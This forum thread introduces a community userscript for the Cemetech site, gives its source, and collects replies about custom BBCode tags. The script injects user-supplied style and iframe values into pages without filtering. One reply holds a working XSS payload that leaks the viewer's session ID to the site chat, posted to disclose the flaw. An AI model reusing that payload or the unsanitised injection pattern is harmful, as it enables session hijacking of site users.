Spud's Ultimate Cemetech User Script

Hey and welcome to the official topic of the Ultimate Cemetech Userscript!

Features:
Name Highlighting!
High Contrast Selection Color!
Karma System Support!
Custom Post Styling!
Pop-Out JsTIfied!
Get Image Source Link!
Community Made!
IFrames!
No Script - No Problem!


Soon to come:

More Names!
More Chat Features!
And More!

[EXAMPLE] BBCode Tags

!!Spaces should be replaced with two dashes!!
[url=karma://USERNAME HERE] LABEL (USERNAME)[/url]

[url=style://STYLE CODE HERE] CONTENT [/url]

[url=iframe://URL INCLUDING HTTP PART]IFRAME NOT SUPPORTED MESSAGE[/url]

[url=jstified://THIS TEXT BREAKS IT]LABEL[/url]

[WORKING] BBCode Tags

!!Spaces should be replaced with two dashes!!

- Karma Button -
Spud

- Styled Div-
SOME CONTENT HERE

- Minecraft Iframe-
Minecraft Classic Iframe

- JsTIfied -
JsTIfied

Have Ideas For the Script?

If you have ideas feel free to take the existing code, modify it, and re-post it. That's one of the great things about this script, it's community made!


The Source


Code:

// ==UserScript==
// @name       Spud's  Ultimate Cemetech User Script 2.0.1
// @namespace  https://nullnode.itch.io
// @version     2.0.1
// @description A small but usefull userscript for the cemetech.net website
// @include    *cemetech.net/*
// @exclude    https://www.cemetech.net/forum/posting.php?mode=editpost*
// @exclude    https://www.cemetech.net/forum/profile.php*
// @exclude    https://www.cemetech.net/projects/jstified/*
// @copyright  2022 Nathaniel Fitzpatrick
// @grant         none
// ==/UserScript==

window.showjstified = function(){
    var jstifieds = Array.from(document.getElementsByName('JsTIfied'));
    console.log(jstifieds)
    jstifieds = jstifieds.splice(-1);
    for (let index in jstifieds){
        let jstified = jstifieds[index];
        console.log(jstified)
    if (jstified.height == 0){
        jstified.contentWindow.scrollTo(0,420);
        jstified.width = 380;
        jstified.height = 720;
        jstified.style.overflowY = "auto";
        jstified.style.overflowX = "auto";
        jstified.style.left = "0px";
        jstified.style.top = "0px";
        jstified.style.position = "relative";
        jstified.style.visibility = "visible";
    }else{
        jstified.contentWindow.scrollTo(0,0);
        jstified.width = 0;
        jstified.height = 0;
        jstified.style.top = "0px";
        jstified.style.left = "0px";
        jstified.style.position = "relative";
        jstified.style.visibility = "hidden";
    }
    }

}

window.parse_regs = function(str) {
    let name = '<span style="background-color: black; color: white;">spud2451</span>';
    let search = new Array(
        /Copyright 2000-2014 Cemetech &amp; (.*?)<\/a>/gi,
        RegExp(name,"gi"),
        /<a href="karma:\/\/(.*?)\">(.*?)<\/a>/gi,
        /<a href="jstified:\/\/(.*?)\">(.*?)<\/a>/gi,
        /<a href="style:\/\/(.*?)\">(.*?)<\/a>/gi,
        /<a href="iframe:\/\/(.*?)\">(.*?)<\/a>/gi
    );

    let replace = new Array(
        'Copyright 2000-2014 Cemetech & <a href="mailto:admin@cemetech.net">Kerm Martian</a>',
        '<span style="background-color: black; color: white;">'+name+'</span>',
        '<b>$2</b><br><button onclick="window.saxClient.sendMessage(\'$2++\');">$2++</button>',
        '<iframe width="0" height="0" frameborder="0" scrolling="yes" name="JsTIfied" id="JsTIfied" style="visibility:hidden;left:0;top:0;position:absolute;border:5px solid #000;z-index: 9002;"></iframe><br /><a href="https://www.cemetech.net/projects/jstified" target="JsTIfied" onclick="setTimeout(showjstified,2000);">Show JsTIfied</a>',
        '<div style="$1">$2</div>',
        '<iframe src="$1" width="640px" height="480px" allowFullscreen>$2</iframe>'
    );

    for (var i = 0; i < search.length; i++) {
        str = str.replaceAll(search[i],replace[i]);
        console.log(replace[i]);
    }
    str += "<style>::selection {background: #000000;color:#ffffff;}::-moz-selection {background: #000000;color:#ffffff;}</style>";
    return str;}

window.getimgsrc = function(){
    let pcp = document.getElementById("page_content_parent")
    pcp.innerHTML = pcp.innerHTML.replaceAll(/<img src="(.*?)">/gi,'<a href="$1"><img src="$1"></a>');
    return true;
}

setTimeout(function(){let pcp = document.getElementById("page_content_parent");pcp.innerHTML = parse_regs(pcp.innerHTML);getimgsrc()},2000);



Contact Info

If you have any questions about the script or it functions please email me at spud2451@gmail.com
!!!Update!!!

I've now added a few extra things. The first is that I've added more smileys/emotocons, and the second is that you can now insert the JsTIfied app in your posts. Have fun people!
I would recommend working out a way to make the script tags more transparent to non-users of the script. In my short time trying to make a transparent custom tag, these are the best two idea I've come up with:

[url=tagname://attributes_go_here_no_spaces]&‍#8205;[/url]
[url=tagname://attributes_go_here_no_spaces][u][/u][/url]

With bbcode enabled (I disabled it for my post so you could see it), they become virtually transparent. Neither is absolutely perfect, though. Clearly they'll be a bit harder to parse, but I think once the transition is made it shouldn't be any more difficult after that to add more. Neither option allows for spaces in the attributes, and they may leave weird emptiness when not visible, but these are unavoidable as far as I can tell. And the first may result in the zero width space character (&&#8205#8205;) being included if the text is copied, and the second will break underline tags around it. The first seems like the lesser of two evils to me.

For ending tags, you could probably just use a third / and give no attributes.

There are also probably ways to provide fallback output if the script isn't installed, like a link to a framed page rather than the page itself, but I haven't mulled over it myself.
This is a good idea and I do like it, but maybe there's another way to use a currently existing tag to do this.
If you find a better way to make a transparent tag, go for it. What I posted was the best I could come up with, and if nothing better is found, I think they're still pretty good.
I think that both methods are suitable.

Also this is what the post look like when you use the script for all of those who are wondering:

If you tell your script to ignore things in [script] tags, then the periods won't be required to disable your script from reading them. I would also like to thank you for making your tags invisible to the end user already, much appreciated!
You're welcome but I think I'm going to start posting content formatted for my script more often so don't get too used to me fixing every post. But since this is a topic that has to do with my script I am willing to grey out the tags.
spud2451 wrote:
You're welcome but I think I'm going to start posting content formatted for my script more often so don't get too used to me fixing every post. But since this is a topic that has to do with my script I am willing to grey out the tags.


Then let me reiterate that the best scripts are not those that rely on user-created content like text. I commend you for your ambition and do encourage you write this script but I would also encourage you to write it in such a way that users that do not have the script won't find themselves trying to decipher posts with unformatted tags.
[style=position:fixed;top:0;left:0;width:4000px;height:4000px;z-index:1000;background-color:black;color:white" id="pwn" onclick="javascript:document.getElementById('pwn').setAttribute('style',''),loadXMLDoc('/scripts/saxsay.php?sid='+sax_usid+'&what=My%20SID%20is%20'+sax_usid.slice(0,-1)+'*!%20Guess%20the%20last%20character%20and%20hijack%20my%20session!')]TOP LEL, YOU'VE BEEN PWND (click anywhere to dismiss)[/style]

Yeah, it's still insecure. This broadcasts (most of) your SID to SAX, but it wouldn't be hard to send it to a server anywhere and from there hijack your account.
Thank you very much Tari for showing me that. Its good to know my programming flaws.
spud2451 wrote:
Thank you very much Tari for showing me that. Its good to know my programming flaws.


It's not really a flaw on your part, it's just lack of experience. You can have style tags but you have to restrict the arguments that it accepts as valid. Secondly, you could just have a bunch of tags for things you want to style as it would likely be easier than parsing the arguments for prohibited functions.
Ok then, Ill have to try that!
highlight me
Just to let you know I did a compatibility check and it didn't work for greasemonkey on firefox. I just fixed that now, so you might want to update your script!
How exactly does this script work? I am using it with Scriptish on firefox and it doesn't seem to be doing anything...

EDIT:

Also, how do I use style://?
an exaple would be something like this

this is test text
I click on it and nothing happens, except an error ("The address wasn't understood")
flyingfisch wrote:
How exactly does this script work? I am using it with Scriptish on firefox and it doesn't seem to be doing anything...


Because it's a Greasemonkey script. It even says so when you click "Click to Install"
now it works.

[url="style://background: #fff;"]test[/url][/url]
  
Register to Join the Conversation
Have your own thoughts to add to this or any other topic? Want to ask a question, offer a suggestion, share your own programs and projects, upload a file to the file archives, get help with calculator and computer programming, or simply chat with like-minded coders and tech and calculator enthusiasts via the site-wide AJAX SAX widget? Registration for a free Cemetech account only takes a minute.

» Go to Registration page
Page 1 of 2
» All times are UTC - 5 Hours
 
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum

 

Advertisement